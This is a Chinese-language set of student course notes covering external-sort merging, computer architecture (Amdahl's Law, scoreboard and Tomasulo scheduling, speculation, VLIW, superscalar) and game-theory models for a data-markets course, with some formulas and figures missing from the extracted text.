这也解释了为什么在k路合并中,尽管趟数减少,但k过高并不一定更优。根据前述讨论,内存应划分为\(2k\)个输入缓存区和\(2\)个输出缓存区。当k很大时,输入缓存区被划分得很细,单次读取的数据量减少(即块大小降低),导致I/O操作增多。因此,尽管趟数减少降低了I/O成本,但并不一定更优。最优的k值与具体的硬件配置有关。
Note
划分为\(2k\)个输入缓存区和\(2\)个输出缓存区是因为需要\(k+1\)个tapes, \(k\) 个输入, \(1\)个输出, 然后为了一直工作,需要double buffer;
替换选择(replacement selection)¶
计算机体系结构
计算机体系结构¶
约 23 个字 预计阅读时间不到 1 分钟
教师: 常瑞
Fundamentals of computer design¶
约 1193 个字 37 行代码 1 张图片 预计阅读时间 5 分钟
Introduction¶
Classer of computers¶
-
Desktop computers (or personal computers .aka. PC)
- General-purpose,vatiety of software
- Emphasize good performance for a single user at relatively low cost
- Mostly execute third-party software(第三方软件)
-
Server Computers
- Emphasize great performance for a few complex applications
- Or emphasize reliable performance for many users at once
- Greater computing power, storage, or network capacity than personal computers
-
Embedded computers
- Largest class and most diverse
- Hidden as components of systems
- Stringent power, cost, and size constraints,performance.
-
Personal Mobile Devices
- Such as smartphones, tablets/ipad, and wearables
- generally have the same design requirements as PCs
-
Supercomputer
- Computer cluster(集群)
- High capacity,prformance, and reliability
- Range to building size(即大型机)
Class By Flynn¶
福林分类法
- SISD: Single Instruction Stream, Single Data Stream
- SIMD: Single Instruction Stream, Multiple Data Stream
- MISD: Multiple Instruction Stream, Single Data Stream
- MIMD: Multiple Instruction Stream, Multiple Data Stream
definition
- IS: Instruction Stream
- DS: Data Stream
- CS: Control Stream
- CU: Control Unit
- PU: Processing Unit
- MM&SM: Memory Module & Storage Module
See as follows:
Performance¶
There are a lot of factors that can affect the performance:
- Architecture
- Hardware implementation
- Compiler
- Operating system
- Application
Two major performance metrics:
- Latency: The time it takes to complete a task(Response time)
- Throughput: The rate at which a task can be completed (Bandwidth)
We define the performance as:
性能与执行时间成反比
Quantitative approaches¶
- Bit
- Nibble: 4 bits
- Byte: 8 bits
- Word: 32 bits on many embedded systems
- Word: 64 bits on most desktop and server systems
- Kibibyte: \(2^{10}\) bytes,KB
- Mebibyte: \(2^{20}\) bytes,MB
- Gibibyte: \(2^{30}\) bytes,GB
- Tebibyte: \(2^{40}\) bytes,TB
CPU Performance¶
CPU time example
- Computer A: 2GHz clock, 10s CPU time
- Designing Computer B
- Aim for 6s CPU time
- Can do faster clock, but causes 1.2 × clock cycles
To determine how fast Computer B's clock must be:
Calculate Clock Cycles for Computer A:
Calculate Clock Rate for Computer B:
CPI: Cycles Per Instruction is the average number of clock cycles per instruction.
some CPU time could also be written as:
The Big Picture:
Performance depence on:
- Algorithm:affects IC,CPI
- Programming language: affects IC,CPI
- Compiler: affects CPI,IC
- Instruction set architecture: affects CPI,IC,T
Amdahl's Law¶
Amdahl's Law
Amdahl's Law states that the performance improvement to be gained from using some faster mode of execution is limited by the fraction of the time the faster mode can be used.
Amdahl's Law depends on two factors:
- The fraction of the time the enhancement can be exploited.
- The improvement gained by the enhancement while it is exploited.
即部分改进的执行时间除以改进的倍数,加上未改进的执行时间,等于改进后的执行时间。
So based on Amdahl's Law, we can get the following formula:
from the formula above, we can conclude that:
- The overall speedup is limited by the enhancement that is used the least.
- If Fraction is close to 1, the overall speedup is close to the speedup of the enhancement.
- If speedup of the enhancement is close to infinity, the overall speedup is close to 1/(1-Fraction).Which ,in fact ,is hard to achieve.
Amdahl's Law Example
- Original Execution Time: 10 seconds
- Enhancement: 2x speedup
- Fraction of Execution Time Affected: 0.5 The execution time after enhancement is:
The overall speedup is:
Great Architecture ideas¶
Moore's Law¶
Moore's Law is a principle that states that the number of transistors on a microchip doubles approximately every two years.
Use abstraction to simplify design¶
Abstraction is a technique that allows us to simplify a complex system by hiding unnecessary details.Low-level details are hidden from the higher-level components.
Make the common case fast¶
- Identify the common case and try to improve it.
- Most cost-efficient method to obtain improvements.
Improve performance via parallelism¶
- Improve performance by performing operations in parallel.
- There are many levels of parallelism—instruction-level, process-level, etc.
Improve performance via pipelining¶
- Break tasks into stages so that multiple tasks can be simultaneously performed in different stages.
- Commonly used to improve instruction throughput.
Improve performance via prediction¶
- Sometimes faster to assume a particular result than waiting until the result is known.
- Known as speculation and is used to guess results of branches.
Use a hierarchy of memories¶
- Make the fastest, smallest, and most expensive per bit memory the first level accessed and the slowest, largest, and cheapest per bit memory the last level accessed.
- Allows most accesses to be caught at the first level and be able to retain most of the information at the lowest level.
Improve dependability via redundancy¶
- Include redundant components that can both detect and correct failures.
- Used at many different levels.
Instruction Set Architecture¶
instruction set architecture(ISA) is the set of instructions that a processor can execute.
when designing an ISA, we need to consider the following basic principles:
-
Compatibility:
- The ISA should be compatible with the existing software.
-
Versatility:
- The ISA should be versatile enough to support a variety of applications.
-
High efficiency:
- The ISA should be efficient in terms of the number of instructions and the amount of data that can be processed in a single instruction.
-
Security:
- The ISA should be secure enough to prevent attacks.
Instruction Set design issues¶
- Where are operands stored?: registers,memory,stack,accumulator,etc.
- How many operands are needed?: 0,1,2,3,etc. Classification of instructions
- How is the operand location specified?: immediate,direct,indirect,relative,etc. Addressing modes
- What type and size of operands are needed?: integer,floating-point,vector,etc. Data representation
- What operations are supported?: arithmetic,logic,control,etc. Types of instructions
ISA Classes
- Stack architecture
- Accumulator architecture
- Register architecture
- General-purpose registers architecture(GPR)
对于A*B-(A+C*B)
; Stack architecture
PUSH A
PUSH B
MUL ; A * B
PUSH A
PUSH C
PUSH B
MUL ; C * B
ADD ; A + (C * B)
SUB ; (A * B) - (A + C * B)
; Accumulator architecture
LOAD A ; Acc = A
MUL B ; Acc = A * B
STORE TEMP ; Store result in TEMP
LOAD B ; Acc = B
MUL C ; Acc = C * B
ADD A ; Acc = A + (C * B)
STORE TEMP2 ; Store result in TEMP2
LOAD TEMP ; Acc = (A * B)
SUB TEMP2 ; Acc = (A * B) - (A + C * B)
Instruction-Level Parallelism¶
约 5608 个字 27 行代码 18 张图片 预计阅读时间 20 分钟
Dynamic scheduling¶
在RISC-V中,处理器会在ID阶段检查structure hazards和data hazards;
当一条指令可以在没有危险的情况下执行时,它会从ID阶段发出,因为所有的数据危险都已解决
为了支持乱序执行,将ID阶段分成两个阶段
- Issue(IS) 这是指令发射的第一阶段,主要功能是解码指令并检查结构冒险(structural hazards),这是一个按序(in-order)的阶段,意味着指令必须按照程序顺序进入这个阶段
结构冒险检查包括:
- 检查是否有可用的功能单元(如ALU、FPU等)
- 检查是否有可用的寄存器文件端口
-
检查是否有可用的保留站(reservation station)空间
-
Read Operands(RO) 阶段:这是指令发射的第二阶段,主要功能是等待直到没有数据冒险,然后读取操作数 这是一个乱序(out-of-order)的阶段,意味着指令可以在这个阶段以不同于程序顺序的方式执行
在这个阶段:
- 处理器会等待所有数据依赖都被解决
- 一旦数据可用,就会读取操作数
- 指令可以开始执行
Scoreboard algorithm¶
Scoreboard的主要组成部分:
-
指令状态表: 记录每条指令的执行状态 包括:Issue、Read Operands、Execute、Write Result等阶段
-
功能单元状态表: 记录每个功能单元(如ALU、FPU等)的状态 包括:Busy、Op、Fi、Fj、Fk、Qj、Qk、Rj、Rk等字段
-
寄存器结果状态表: 记录每个寄存器的状态 指示哪个功能单元将写入该寄存器
例如下面的例子
FLD F6,34(R2)# 将内存地址为34+R2的值加载到F6
FLD F2 45(R3)# 将内存地址为45+R3的值加载到F2
Fmul F0 F2 F4# 将F2和F4相乘,结果存储到F0 RAW
Fsub F8 F6 F2# 将F6减去F2,结果存储到F8 RAW
Fdiv F10 F0 F6# 将F0除以F6,结果存储到F10 RAW
Fadd F6 F8 F2# 将F8和F2相加,结果存储到F6 WAR RAW
首先,第一条指令全部执行,Board上没有其信息,第二条指令执行到EX阶段( 各种指令的EX阶段所需时钟周期不一样 ),第三条指令与第二条指令F2数据依赖,不能进入RO;第四条指令与第二条指令F2数据依赖,不能进入RO;第五条指令与第三条指令F0数据依赖,不能进入RO;第六条指令与第四条指令有结构冲突,都要使用加法单元,不能进入IS;
以上的判断都是处理器根据Scoreboard上的信息做出的;
在这个阶段,Integer单元(进行地址计算,整数访问,内存访问的单元)Busy,其对应的指令是Load,Fi是F2,Fj是R3,Rj是no表示已经读取了R3的值,Qj是null表示没有功能单元正在使用R3的值;
根据已有信息,将第三条指令放入IS阶段,更新表,其使用第一个乘法器,所以Fi是F0,Fj是F2,Fk是F4,Qj是Integer,Qk是null,Rj是no,Rk是yes;代表F2即将来自Integer单元,但是没有准备好,F4准备好了,但是没有读取,这条指令不能进入RO阶段;
然后到SUB指令,由于加法单元是空闲的,所以可以进入IS阶段,更新表,Add被使用,Fi是F8,Fj是F6,Fk是F2,Qk是Integer,Rj是yes,Rk是no;代表F6准备好了,F2即将来自Integer单元,但是没有准备好,这条指令不能进入RO阶段;
然后后是DIV指令,除法单元空闲,所以可以进入IS阶段,更新表,Div被使用,Fi是F10,Fj是F0,Fk是F6,Qj是Mult1,Rj是no,Rk是yes;代表F0的数据来自Mult1单元,还没有准备好,F6的已经准备好了,这条指令可以进入RO阶段;
最后是add指令,发现加法单元busy,停在IS阶段,等待加法单元空闲;
寄存器信息来自哪些单元是通过查找寄存器状态表得到,并不断更新;
各个字段的意义
1 Busy: 功能单元是否正在使用
- yes = 功能单元正忙
- no = 功能单元空闲
2 Op: 当前执行的操作类型
- Load = 加载操作
- MUL = 乘法操作
- SUB = 减法操作
- DIV = 除法操作
3 Fi: 目标寄存器(存放结果的寄存器)
4 Fj, Fk: 源操作数寄存器
- 例如:R3, F2, F4等是源操作数
5 Qj, Qk: 产生源操作数的功能单元
- Integer = 整数单元
- Mult1 = 乘法单元1
- 如果为空,表示操作数已就绪
6 Rj, Rk: 源操作数的就绪状态
- "yes" = 操作数已就绪但未读取
- "no" & "Qj = null" = 操作数已读取
- "no" & "Qj != null" = 操作数未就绪
寄存器状态表(Register Status)的字段:
1 寄存器编号:F0, F2, F4等
2 Qi: 指示哪个功能单元将会写入该寄存器
- Mult1 = 乘法单元1将写入
- Integer = 整数单元将写入
- Add = 加法单元将写入
- Divide = 除法单元将写入
第二条指令WB后,寄存器状态表更新,此时第三条指令在EX阶段,第四条指令是减法,可以比较快完成,其结束后,ADD指令可以进入到EX阶段,但是由于必须等到DIV阶段进入RO后,才能进入WB阶段,所以ADD指令必须等待,而DIV阶段要进入RO,就必须等待F0的数据准备好,所以DIV指令也要等待;
当MUL指令结束后,FDIV指令进入RO阶段时,ADD指令可以写回,此时没有冲突了,只剩下DIV指令继续执行结束即可;
Example
假设EX阶段有以下时钟周期
- Load: 1
- MUL: 10
- SUB/ADD: 2
- DIV: 40
其它阶段为1;
则对于上面的指令,完成的时钟周期为,对于第一条指令,直接顺序完成
| 指令 | IS | RO | EX | WB |
|---|---|---|---|---|
| FLD F6,34(R2) | 1 | 2 | 3 | 4 |
| FLD F2 45(R3) | ||||
| Fmul F0 F2 F4 | ||||
| Fsub F8 F6 F2 | ||||
| Fdiv F10 F0 F6 | ||||
| Fadd F6 F8 F2 |
由于Integer在第一条指令未结束期间都被占用,所以第二条指令在第一条结束之后才能进入
| 指令 | IS | RO | EX | WB |
|---|---|---|---|---|
| FLD F6,34(R2) | 1 | 2 | 3 | 4 |
| FLD F2 45(R3) | 5 | 6 | 7 | 8 |
| Fmul F0 F2 F4 | ||||
| Fsub F8 F6 F2 | ||||
| Fdiv F10 F0 F6 | ||||
| Fadd F6 F8 F2 |
而IS是需要顺序的,所以第二条指令进入RO阶段,第三条指令才能进入IS,在第二条指令结束之后,第三条指令才能进入RO阶段,之后就继续执行
| 指令 | IS | RO | EX | WB |
|---|---|---|---|---|
| FLD F6,34(R2) | 1 | 2 | 3 | 4 |
| FLD F2 45(R3) | 5 | 6 | 7 | 8 |
| Fmul F0 F2 F4 | 6 | 9 | 10-19 | 20 |
| Fsub F8 F6 F2 | ||||
| Fdiv F10 F0 F6 | ||||
| Fadd F6 F8 F2 |
第四条指令等待Fmul的IS阶段结束之后进入,而其与F2存在冲突,所以也需要等待F2的WB阶段结束再继续进入RO阶段,然后正常执行
| 指令 | IS | RO | EX | WB |
|---|---|---|---|---|
| FLD F6,34(R2) | 1 | 2 | 3 | 4 |
| FLD F2 45(R3) | 5 | 6 | 7 | 8 |
| Fmul F0 F2 F4 | 6 | 9 | 10-19 | 20 |
| Fsub F8 F6 F2 | 7 | 9 | 10-11 | 12 |
| Fdiv F10 F0 F6 | ||||
| Fadd F6 F8 F2 |
第五条指令等待Fmul的WB阶段结束之后进入R0,然后正常执行
| 指令 | IS | RO | EX | WB |
|---|---|---|---|---|
| FLD F6,34(R2) | 1 | 2 | 3 | 4 |
| FLD F2 45(R3) | 5 | 6 | 7 | 8 |
| Fmul F0 F2 F4 | 6 | 9 | 10-19 | 20 |
| Fsub F8 F6 F2 | 7 | 9 | 10-11 | 12 |
| Fdiv F10 F0 F6 | 8 | 21 | 22-61 | 62 |
| Fadd F6 F8 F2 |
最后一条指令,需要等待Fsub的WB阶段结束后,加法单元被释放,然后进入EX阶段,在这里,需要等待Fdiv的RO结束,F6读走了,才能WB
| 指令 | IS | RO | EX | WB |
|---|---|---|---|---|
| FLD F6,34(R2) | 1 | 2 | 3 | 4 |
| FLD F2 45(R3) | 5 | 6 | 7 | 8 |
| Fmul F0 F2 F4 | 6 | 9 | 10-19 | 20 |
| Fsub F8 F6 F2 | 7 | 9 | 10-11 | 12 |
| Fdiv F10 F0 F6 | 8 | 21 | 22-61 | 62 |
| Fadd F6 F8 F2 | 13 | 14 | 15-16 | 22 |
Tomasulo algorithm¶
Tomasulo's Algorithm 是一种处理器指令级并行的重要算法,主要用于动态调度和乱序执行。它的核心目标是通过硬件机制来解决数据依赖和资源冲突,提高指令级并行性。
- 动态调度:允许指令乱序执行
- 寄存器重命名:消除写后读(WAR)和写后写(WAW)冒险
- 硬件保留站(Reservation Stations):管理指令执行
- 公共数据总线(Common Data Bus, CDB):广播计算结果
Reservation Stations¶
- 每种功能单元(ALU、乘法器、除法器等)都有自己的保留站
- 存储等待执行的指令信息
- 跟踪操作数的状态和来源
数据依赖处理¶
- RAW依赖:通过跟踪操作数的可用性来最小化影响
- 当操作数就绪时,立即将值传递给等待的指令
-
使用Qj和Qk字段跟踪哪些保留站将产生所需的操作数
-
WAW和WAR依赖:通过硬件寄存器重命名自动消除
- 指令使用保留站而不是实际寄存器作为中间存储
- 允许多个指令同时写入同一逻辑寄存器的不同物理位置
Renaming¶
- 使用保留站消除寄存器相关性
- 允许指令提前执行,避免不必要的等待
发射阶段(Issue)¶
- 检查是否有可用的保留站
- 检查操作数是否就绪,如果就绪,则将操作数写入保留站,如果没有就绪,那么仍让将其写入保留站,但是需要等待,并跟踪会产生操作数的unit
- 如果保留站满,则暂停发射
Note
在这个阶段,消除了WAR和WAW依赖,因为此时发生了重命名
执行阶段(Execute)¶
- 当操作数就绪时,开始执行
- 可以乱序执行
- 等待功能单元可用
Note
对应Load和Store指令需要两步运算过程,第一步是当base register和offset相加得到地址,然后将其放入到load store buffer中
写回阶段(Write Back)¶
- 通过公共数据总线(CDB)广播结果
- 更新等待该结果的保留站
- 更新寄存器状态
Note
当一条Store指令执行时,它的值和地址可能不会立即同时可用,这些信息会被暂时存储在"存储缓冲区"(store buffer)中,只有当两个信息(值和地 址)都准备好时,并且内存单元空闲时才会真正执行实际的内存写入操作
Example
假设现在有两条指令
首先,将乘法指令放入乘法保留站,然后将F2的值(a),F4的值(b)写入,结果是要写回F0的,所以在F0需要track结果来自MULT1
接下来,ADD指令进入,将其放入ADD保留站,F0的值查看寄存器状态表,得知来自MULT1,F6的值立即准备好,然后其要写回F2,所以需要track结果来自ADD
当乘法指令结束后,写回F0,将值加载到ADD保留站,最后将ADD指令执行完即可.
Tables of Tomasulo algorithm¶
在这个算法中,主要有以下三张表
-
Instruction status table : This table is included only to help you understand the algorithm; it is not actually a part of the hardware.
-
Reservation stations table : The reservation station keeps the state of each operation that has issued.
-
Register status table (Field Qi) : The number of the reservation station that contains the operation whose result should be stored into this register.当进入reservation station时发现不能直接取出寄存器的值时,需要通过这张表来找到对应的保留站,查看来自哪个保留站;(这里面存的是reservation station的编号,在这个reservation station中,其操作结果会写入这个寄存器)
每个保留站包含七个字段:
- Op:对源操作数执行的操作。
- Qj, Qk:将产生相应源操作数的保留站编号。
- Vj, Vk:源操作数的值。
- Busy:表示此保留站及其附带的功能单元正在被占用。
- A:用于保存加载或存储操作的内存地址计算信息。
这些字段共同工作,使得Tomasulo算法能够有效地跟踪指令依赖关系,实现乱序执行,并确保结果的正确性。当一个操作需要等待其他操作的结果时,Qj和Qk字段会指向产生这些结果的保留站,一旦结果可用,它们会通过CDB广播并更新到相应的Vj和Vk字段中。
Example
假设现在有以下指令
在某一时刻,三张表的状态可能如下所示
Summary
Tomasulo算法的主要贡献:
-
动态调度(Dynamic scheduling) :允许指令在数据依赖关系允许的情况下乱序执行,提高处理器利用率。
-
寄存器重命名(Register renaming) :通过保留站机制实现了隐式的寄存器重命名,有效消除了WAW(写后写)和WAR(写后读)冒险。
-
加载/存储消歧义(Load/store disambiguation)
-
优于记分板算法(Better than Scoreboard Algorithm) :Tomasulo算法通过CDB(公共数据总线)和保留站机制,提供了更灵活的执行模型,能够更有效地处理复杂的依赖关系和资源竞争。
但是,Tomasulo算法也有一些缺点:
-
复杂性 :需要维护多个表,增加了硬件开销。
-
其性能会受到公共数据总线的限制
Load/Store Disambiguation
加载/存储消歧义是Tomasulo算法中处理内存操作的重要机制。它允许处理器确定何时可以安全地乱序执行内存操作。
当处理器遇到加载(load)和存储(store)指令时,需要确定这些操作是否可以安全地乱序执行:
-
不同地址的操作:如果加载和存储操作访问的是不同的内存地址,它们可以安全地乱序执行。
-
相同地址的操作:如果加载和存储操作访问相同的内存地址,则必须考虑以下情况:
-
如果加载在程序顺序中位于存储之前,而执行时将它们交换顺序,会导致**写后读(WAR)冒险**。
-
如果存储在程序顺序中位于加载之前,而执行时将它们交换顺序,会导致**读后写(RAW)冒险**。
-
如果交换两个访问相同地址的存储操作的顺序,会导致**写后写(WAW)冒险**。
假设有以下两条内存访问指令:
在程序的顺序执行中,这两条指令应该是先执行LOAD指令,将内存地址A的值加载到R1,然后执行STORE指令,将R2的值存储到内存地址A。 但在乱序执行的处理器中,如果执行顺序被交换(即STORE指令先执行,然后再执行LOAD指令),就会发生WAR冒险: STORE指令先执行,内存地址A的值会被R2的值覆盖 随后执行LOAD指令时,加载的将是R2的值而不是原来内存地址A中应该读取的值
Question
仍是上面的指令,如果ADD需要2个周期,乘法需要10个周期,除法需要40个周期,其它的需要1个周期,那么每个指令每个阶段都在什么周期完成
| 指令 | IS | EX | WB |
|---|---|---|---|
| FLD F6, 34(R2) | 1 | 3 | 4 |
| FLD F2, 45(R3) | 2 | 4 | 5 |
| FMUL.D F0, F2, F4 | 3 | 6-15 | 16 |
| FSUB.D F8, F2, F6 | 4 | 6-7 | 8 |
| FDIV.D F10, F0, F6 | 5 | 17-56 | 57 |
| FADD.D F6, F8, F2 | 6 | 9-10 | 11 |
由于保留站的存在,可以比计分板算法更早进入IS阶段.
Hardware-Based Speculation¶
乱序执行,顺序提交.
硬件推测执行是一种高级处理器优化技术,它允许处理器在不确定指令是否应该执行的情况下提前执行指令。这种技术主要用于分支预测和异常处理。
ROB是实现乱序执行、顺序提交的核心组件,它为未提交的指令结果提供缓存:
-
结构:ROB包含三个主要字段
- 指令类型
- 目标地址
- 值
-
工作流程:
- 当指令执行阶段完成时,将保留站(RS)中的值替换为ROB编号
- 增加指令提交阶段
- ROB提供完成阶段和提交阶段的操作编号
- 一旦操作数提交,结果将写入寄存器
-
恢复机制:
- 当分支预测失败时,可以轻松恢复推测执行的指令
- 当异常发生时,可以轻松恢复处理器状态
推测执行的优势¶
- 性能提升:允许处理器在等待分支结果时继续执行后续指令
- 资源利用:提高处理器资源的利用率
- 隐藏延迟:可以隐藏内存访问和其他长延迟操作的延迟
推测执行的实现¶
- 分支预测:处理器预测分支的结果,并沿着预测路径执行指令
- 检查点机制:在推测执行前保存处理器状态
- 提交控制:只有当确认推测是正确的时,才会提交指令结果
- 回滚机制:当推测错误时,丢弃推测执行的结果并恢复到检查点状态
推测执行与乱序执行结合使用时,可以显著提高处理器的性能,特别是在处理具有复杂控制流的程序时。
如果使用tomasulo算法,那么需要新增一个ROB,用于存储指令的执行结果,然后当指令执行完成后,将结果写入ROB,然后当指令提交时,将结果写入寄存器.同时指令执行需要多一个Commit阶段
- Issue
- Execute
- Write Back
- Commit
Property
硬件推测执行结合了以下三个关键思想:
-
动态分支预测:
- 用于选择要执行哪些指令
- 基于历史执行模式预测分支方向
- 允许处理器在分支结果确定前继续执行
-
推测执行:
- 允许在控制依赖解决前执行指令
- 具备撤销错误推测序列效果的能力
- 使用ROB等机制保存中间状态以便回滚
-
动态调度:
- 处理不同基本块组合的调度
- 允许指令根据数据依赖关系和资源可用性动态重排序
- 最大化指令级并行性
对于register status,需要新增一个ROB,用于存储指令的执行结果,还有一个是否Busy的字段;
Multiple Issue¶
Superscalar、¶
超标量处理器(Superscalar)是一种能够在单个时钟周期内发射和执行多条指令的处理器架构。
- 每个时钟周期发射的指令数量不是固定的
- 实际发射数量取决于代码的具体情况
- 通常有一个上限(1-8条指令)
- 如果上限为n,则称为n发射超标量处理器
Warning
注意只是上限,并不是说一定发射这么多
- 可以通过编译器静态调度
- 也可以基于Tomasulo算法进行动态调度
超标量处理器相比于标量处理器能够显著提高处理器的吞吐量,但也增加了硬件复杂度和功耗。
VLIW¶
Very Long Instruction Word
VLIW(超长指令字)是一种计算机架构设计,具有以下特点:
- 每个时钟周期发射的指令数量是固定的(通常为4-16条),这些指令组成一个长指令或指令包(instruction packet)。
- 在指令包中,指令之间的并行性通过指令本身显式表达。
- 指令调度由编译器静态完成,而非硬件动态调度。
- 已成功应用于数字信号处理和多媒体应用领域。
VLIW架构将复杂性从硬件转移到编译器,编译器负责识别和调度并行指令,从而简化了处理器设计,并减少了硬件复杂度。
VLIW的主要特征:
- 指令包中的并行性是显式的:多条指令被打包成一个长指令字,每条指令独立执行在不同的功能单元上。
- 固定的发射宽度:每个时钟周期发射固定数量的指令(4-16条),不像超标量处理器发射数量可变。
- 编译时调度:编译器负责所有的指令调度和依赖分析,硬件不需要复杂的乱序执行逻辑。
- 简化的硬件设计:减少了动态调度的硬件复杂性,使得处理器设计更简单、功耗更低。
- 适用领域:特别适合于数字信号处理和多媒体应用,这些领域有大量可并行执行的计算。
与超标量架构的对比:
| 特性 | VLIW | 超标量 |
|---|---|---|
| 指令发射数量 | 固定(4-16) | 可变(上限1-8) |
| 并行性识别 | 编译时(静态) | 运行时(动态) |
| 指令调度 | 编译器完成 | 硬件完成 |
| 硬件复杂度 | 较低 | 较高 |
| 编译器复杂度 | 较高 | 较低 |
| 代码兼容性 | 较差(通常需要重编译) | 较好 |
VLIW的优缺点:
优点: - 硬件设计简单,成本低 - 功耗较低 - 可预测的执行行为,有利于实时应用 - 潜在的高并行度
缺点: - 代码密度较低(长指令字包含空操作) - 二进制兼容性差(不同处理器间难以移植) - 编译器要求高 - 对于控制密集型代码效率不高
super pipeline¶
超流水线(Superpipelining)是一种计算机架构设计技术,具有以下特点:
- 包含8个或更多指令流水线阶段的处理器被称为超流水线处理器
- 通过将传统流水线阶段分解为更多更简单的子阶段,使每个阶段的工作量更少,从而可以提高时钟频率
- 典型的超流水线处理器例子:SGI的MIPS系列R4000
R4000微处理器的主要特性:
- 缓存系统
- 芯片内集成了两种缓存:指令缓存和数据缓存
- 每个缓存容量为8 KB
-
每个缓存的数据宽度为64位
-
核心处理组件(整数部分)
- 一个32×32位通用寄存器组
- 算术逻辑单元(ALU)
- 专用乘法/除法单元
超流水线的优缺点:
优点: - 更高的时钟频率,潜在地提高了处理器性能 - 更细粒度的流水线阶段分解,使指令处理更加高效 - 更好的硬件资源利用率
缺点: - 增加了流水线冒险的可能性 - 分支预测失败的惩罚更大(需要清空更多流水线阶段) - 控制逻辑更加复杂 - 流水线寄存器增加,可能导致功耗和芯片面积增加
超流水线技术是提高指令级并行性的重要方法之一,通过平衡各阶段的延迟,使处理器能够以更高的频率运行,从而提高整体性能。
数据要素市场
数据要素市场¶
约 37 个字 预计阅读时间不到 1 分钟
浙江大学课程综合实践2课程,由刘金飞老师授课。
课程网站:数据要素市场
LEC 3-4¶
约 10009 个字 20 张图片 预计阅读时间 35 分钟
社会福利¶
策略式博弈表达¶
非合作博弈的分类
-
是否完全信息:即参与人之间是否互相知道对方的效用函数,是否知道博弈的全局信息;
-
静态博弈或动态博弈,即参与人的行动是一次同时完成的,还是序贯进行的;在两个互相看不见的房子里进行石头剪刀布,不要求同时完成,但是行动的先后不会影响结果,因此是静态博弈;
-
完全信息静态博弈 (Complete Information Static Game)
- 定义: 所有参与者都了解彼此的支付函数(即知道每个人的目标),并同时做出决策。
- 例子: 囚徒困境 (Prisoner's Dilemma)。
- 完全信息动态博弈 (Complete Information Dynamic Game)
- 定义: 参与者的行动有先后顺序,后行动者可以观察到先行动者的行动。所有人都了解彼此的支付函数。
- 例子: 价格领袖模型。
- 不完全信息静态博弈 (Incomplete Information Static Game)
- 定义: 参与者同时做出决策,但至少有一个参与者不完全了解其他某个参与者的支付函数(即不确定对方的"类型")。这类博弈也称为"贝叶斯博弈"。
- 例子: 各种形式的拍卖 (Auctions)。
- 不完全信息动态博弈 (Incomplete Information Dynamic Game)
- 定义: 参与者的行动有先后顺序,并且信息不完全。这类博弈通常涉及从行动中推断信息。
- 例子: 拍卖。
伯川德竞争 (Bertrand Competition)¶
伯川德竞争
伯川德竞争是一种寡头市场模型,假设企业之间通过 价格 进行竞争。在这个模型中,企业生产同质产品,并且它们同时设定各自产品的价格。消费者将从价格最低的厂商购买。如果价格相同,消费者则平均分配到这些厂商。
核心假设:
- 同质产品: 市场上的所有产品在消费者看来是完全相同的,没有品牌忠诚度或质量差异。
- 价格竞争: 企业选择价格作为竞争变量,而非产量。
- 同时定价: 各企业同时做出定价决策,且相互独立。
- 无进入壁垒: (有时会假设)
- 边际成本为常数: 通常假设各企业的边际成本相同且为常数。
伯川德均衡(纳什均衡)
- 均衡结果: 在伯川德竞争中,如果产品同质且边际成本相同,那么纳什均衡结果是所有企业的定价都等于其 边际成本 (P = MC)。
- "伯川德悖论": 即使市场只有两家企业(双头垄断),只要它们进行价格竞争且产品同质,最终价格也会被压低到边际成本水平,就像完全竞争市场一样,企业获得零经济利润。这被称为"伯川德悖论",因为它表明即使只有少数几家企业,市场竞争也可能非常激烈。
- 伯川德均衡不是占优均衡
古诺竞争 (Cournot Competition)¶
古诺竞争
古诺竞争是另一种寡头市场模型,假设企业之间通过 产量 进行竞争。在这个模型中,企业同时决定各自的产量,然后市场价格由总产量和市场需求曲线决定。
核心假设:
- 同质产品: 市场上的所有产品是同质的。
- 产量竞争: 企业选择产量作为竞争变量,而非价格。
- 同时决策: 各企业同时决定产量,且相互独立。
- 市场需求曲线: 市场价格是总产量的递减函数。
- 边际成本为常数: 通常假设各企业的边际成本相同且为常数。
古诺均衡(纳什均衡)
- 均衡结果: 在古诺竞争的纳什均衡中,每个企业根据其他企业预期的产量来最大化自己的利润。最终均衡时的市场价格会介于垄断价格和边际成本之间,且高于边际成本。
- 企业数量的影响:
- 当企业数量 \(J=1\) 时(垄断),古诺均衡退化为垄断产量和价格。
- 当企业数量 \(J\) 趋近于无穷大时,古诺均衡下的市场价格趋近于边际成本,总产量趋近于完全竞争下的总产量。这表明古诺模型是一个能够桥接垄断和完全竞争的统一框架。
占优策略均衡 (Dominant Strategy Equilibrium)¶
占优策略均衡
占优策略均衡是纳什均衡的一种特殊且更强的形式。如果一个博弈中,每个参与者都有一个 占优策略,那么这些占优策略组成的策略组合就是占优策略均衡。
{ width="50%" }
- 占优策略 (Dominant Strategy): 一个策略如果无论其他参与者选择什么策略,它都能为该参与者带来最佳(或至少不差于任何其他策略)的收益,那么它就是该参与者的占优策略。
- 严格占优策略 (Strictly Dominant Strategy): 如果无论其他参与者选择什么策略,它都能为该参与者带来 严格更高 的收益,那么它是严格占优策略。
- 弱占优策略 (Weakly Dominant Strategy): 如果无论其他参与者选择什么策略,它都能为该参与者带来 至少同样高 的收益,并且在某些情况下能带来严格更高的收益,那么它是弱占优策略。
特点:
- 易于预测: 如果存在占优策略均衡,那么博弈的最终结果很容易被预测,因为每个理性参与者都应该选择其占优策略。
- 与纳什均衡的关系:
- 如果一个博弈存在占优策略均衡,那么它一定是纳什均衡。
- 如果一个博弈存在**严格占优策略均衡**,那么这个均衡是**唯一**的纳什均衡。
- 然而,纳什均衡不一定要求存在占优策略,许多博弈有纳什均衡但没有占优策略均衡(例如剪刀石头布)。
颤抖的手原则
在博弈论中,颤抖的手原则(Shaky Hand Principle)是指在某些情况下,参与者在博弈中可能会犯错误;
\(B\) 弱占优 \(T\)
考虑列参与人分别以 \(x\) 和 \(1-x\) 的概率选择 \(L\) 和 \(R\)(\(0<x<1\)),那么行参与人会选择 \(B\),因为 \(T\) 的期望效用是 \(x + 2(1-x) = 2-x\),而 \(B\) 的期望效用是 \(2\)。
可以在表格中反复剔除劣策略找到博弈的解。
囚徒困境
剪刀石头布
剪刀石头布(Rock-Paper-Scissors)这个游戏**有纳什均衡**,但它是一个**混合策略纳什均衡(Mixed Strategy Nash Equilibrium)**。
在剪刀石头布中,没有纯策略纳什均衡。这意味着你无法找到一个单一的、确定的策略(比如"我只出剪刀"),使得在已知对方策略的情况下,你没有动机改变。
让我们来分析一下:
- 如果你总是出剪刀,那么你的对手就会知道这一点,并且总是出石头来赢你。
- 如果你总是出石头,你的对手就会出布来赢你。
- 如果你总是出布,你的对手就会出剪刀来赢你。
